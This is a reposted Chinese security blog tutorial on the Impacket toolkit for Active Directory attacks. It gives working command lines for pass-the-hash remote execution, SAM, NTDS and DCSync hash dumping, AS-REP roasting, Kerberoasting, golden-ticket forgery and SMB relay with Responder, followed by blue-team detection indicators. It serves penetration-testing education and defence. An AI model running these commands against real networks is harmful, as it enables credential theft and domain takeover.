网络协议攻击的瑞士军刀:Impacket深度实战与高阶玩法

admin 2026-09-14 05:00:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深度解析Impacket在内网渗透中的核心地位,涵盖SMBExec、SecretsDump、GetNPUsers等工具实战用法,并介绍GoldenTicket伪造、SMBRelay等高阶攻击场景。同时从蓝队视角提出流量层与主机层检测建议,强调工具仅限合法授权测试使用。 综合评分: 88 文章分类: 内网渗透,红队,安全工具,应急响应,安全运营


网络协议攻击的瑞士军刀:Impacket深度实战与高阶玩法

原创

运维安全入门 运维安全入门

运维安全入门

2026年9月12日 18:00 陕西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

在内网渗透与域环境攻防中,有一款 Python 库几乎是所有高级攻击工具的”底层引擎”。它不是直接面向用户的”一键脚本”,而是提供了对 SMB、LDAP、Kerberos、MSRPC 等网络协议的底层操作能力

     这款库就是 Impacket

     从 NetExec(原 CrackMapExec)到 BloodHound 的采集器,从 Pass-The-Hash 到 DCSync 攻击,几乎所有内网渗透工具的核心协议交互都依赖于 Impacket。

01     为什么 Impacket 无可替代?

     Impacket 的强大在于对 Windows 网络协议的深度逆向与封装。它提供了以下核心能力:

  • SMB/CIFS 协议操作:

    文件共享访问、远程命令执行(SMBExec)、哈希导出(secretsdump)。

  • LDAP/Active Directory 操作:

    域用户枚举、ACL 查询、NTDS.dit 导出(DCSync)。

  • Kerberos 协议操作:

    票据请求(GetNPUsers)、票据伪造(Golden Ticket)、票据传递(Pass-The-Ticket)。

  • MSRPC 协议操作:

    远程注册表访问、服务管理、WMI 执行。

02     安装与环境准备

1. 使用 pip 安装(推荐)

pip install impacket

2. 从源码安装(获取最新示例脚本)

git clone https://github.com/fortra/impacket cd impacket pip install -r requirements.txt python setup.py install

03     核心模块与实战玩法

1. SMBExec:远程命令执行(不落地)

# 使用明文密码执行远程命令 smbexec.py company.local/administrator:'Password123'@192.168.1.10  # 使用 NTLM Hash 执行(Pass-The-Hash) smbexec.py -hashes :aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0   company.local/[email protected]

2. SecretsDump:哈希导出(核心)

# 导出目标机器的本地 SAM 数据库哈希 secretsdump.py company.local/administrator:'Password123'@192.168.1.10  # 导出域控的 NTDS.dit(所有域用户哈希) secretsdump.py company.local/administrator:'Password123'@192.168.1.10 -ntds  # 使用 DCSync 导出指定用户的哈希(需要域管权限) secretsdump.py company.local/administrator:'Password123'@192.168.1.10 -just-dc-user krbtgt

3. GetNPUsers:AS-REP Roasting 攻击

# 枚举域内不需要 Kerberos 预认证的用户 GetNPUsers.py company.local/ -usersfile users.txt -format hashcat  # 针对特定用户 GetNPUsers.py company.local/alice -format hashcat

4. GetUserSPNs:Kerberoasting 攻击

# 枚举域内拥有 SPN 的服务账号 GetUserSPNs.py company.local/administrator:'Password123' -request  # 导出为 hashcat 格式 GetUserSPNs.py company.local/administrator:'Password123'   -request -format hashcat

04     高阶攻击场景

1. 利用 Golden Ticket 持久化

# 使用 ticketer.py 伪造 Golden Ticket(需要 krbtgt 哈希) ticketer.py -nthash aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0   -domain-sid S-1-5-21-xxx -domain company.local administrator  # 使用伪造的票据访问域控 export KRB5CCNAME=administrator.ccache smbexec.py -k -no-pass company.local/[email protected]

2. 利用 SMB Relay 攻击

# 启动 SMB Relay 服务器(监听 445 端口) ntlmrelayx.py -t smb://192.168.1.20 -smb2support  # 配合 Responder 进行 LLMNR/NBT-NS 欺骗 sudo responder -I eth0 -dwv

05     蓝队视角:如何检测 Impacket 攻击?

1. 流量层检测(NTA/IDS)

  • 异常 SMB 连接:

    Impacket 的 smbexec/psexec 会在短时间内建立大量 445 端口连接,且伴随 SMB2 CREATE 请求(上传临时服务二进制文件)。

  • Kerberos 异常请求:

    GetNPUsers/GetUserSPNs 会发起大量 AS-REQ 或 TGS-REQ 请求,且目标为非常见用户。

  • LDAP 高频查询:

    secretsdump 的 DCSync 模式会发起 DS-Replication-Get-Changes 请求,这是域控同步的核心操作,普通用户不应触发。

2. 主机层日志(Windows Event Logs)

  • 事件 ID 7045(服务安装):

    smbexec/psexec 会在目标机器创建临时服务(如 BTOBTOREMCOM),触发 7045 日志。

  • 事件 ID 4688(进程创建):

    监测 services.exe 拉起的异常子进程(如 cmd.exepowershell.exe)。

  • 事件 ID 4769(Kerberos 票据请求):

    监测异常的 TGS-REQ 请求,尤其是针对高权限 SPN 的请求。

06     总结

     Impacket 是内网渗透的”底层引擎”,它将复杂的网络协议交互封装成了简洁的 Python 脚本。对于红队而言,它是构建自定义攻击工具的基础库;对于蓝队与运维安全人员而言,深刻理解 Impacket 的协议行为与流量特征,才是构建企业内网”深度检测”体系的核心能力。

免责声明:本文所涉及工具及技术仅用于安全运维自查、合法授权的渗透测试及安全教育,严禁用于任何未授权的非法攻击行为!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:运维安全入门 运维安全入门 运维安全入门《网络协议攻击的瑞士军刀:Impacket深度实战与高阶玩法》

评论:0   参与:  0